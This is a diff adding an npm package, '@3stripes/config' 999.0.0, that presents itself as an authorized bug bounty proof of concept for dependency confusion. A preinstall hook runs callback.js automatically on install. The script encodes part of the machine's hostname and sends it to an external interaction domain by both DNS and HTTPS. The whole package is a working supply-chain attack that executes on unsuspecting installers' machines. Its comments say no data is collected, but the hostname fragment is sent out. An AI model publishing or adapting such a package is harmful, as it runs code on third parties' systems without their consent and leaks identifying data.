@3stripes/config 999.0.0

package/callback.js

@@ -0,0 +1,38 @@
+/**
+ * SECURITY RESEARCH - Dependency Confusion PoC
+ * 
+ * This is part of an AUTHORIZED bug bounty assessment.
+ * This script ONLY makes a DNS lookup to prove execution.
+ * No data is collected, exfiltrated, or modified.
+ * 
+ * Researcher: Ashish (ashishkunwar280@gmail.com)
+ * Program: Adidas Private Bug Bounty (Bugcrowd)
+ */
+
+const dns = require('dns');
+const https = require('https');
+const os = require('os');
+
+// REPLACE with your Burp Collaborator / interact.sh domain
+const CALLBACK_DOMAIN = '2defa924e4f741393204gup1d5yyyyyyd.oast.site';
+
+// Create a unique identifier (hostname hash, no PII)
+const id = Buffer.from(os.hostname().slice(0, 8)).toString('hex').slice(0, 12);
+const pkg = '3stripes-config';
+
+// Method 1: DNS callback (most reliable, bypasses firewalls)
+try {
+  dns.resolve(`${pkg}-${id}.${CALLBACK_DOMAIN}`, () => {});
+} catch(e) {}
+
+// Method 2: HTTP callback (backup, may be blocked by firewalls)
+try {
+  const req = https.get(`https://${CALLBACK_DOMAIN}/${pkg}?h=${id}`, () => {});
+  req.on('error', () => {});
+  req.setTimeout(5000, () => req.destroy());
+} catch(e) {}
+
+// Log locally for debugging
+console.log(`[Security Research] Dependency confusion PoC executed - ${pkg}`);
+console.log(`[Security Research] Contact: ashishkunwar280@gmail.com`);
+console.log(`[Security Research] This is part of an authorized bug bounty assessment.`);

package/index.js

@@ -0,0 +1,6 @@
+/**
+ * Security Research Package - Dependency Confusion PoC
+ * This package exists solely for authorized security testing.
+ * Contact: ashishkunwar280@gmail.com
+ */
+module.exports = {};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "@3stripes/config",
+  "version": "999.0.0",
+  "description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: ashishkunwar280@gmail.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "keywords": ["security-research", "bug-bounty", "authorized-testing"],
+  "author": "Ashish <ashishkunwar280@gmail.com>",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/security-research/dep-confusion-poc"
+  }
+}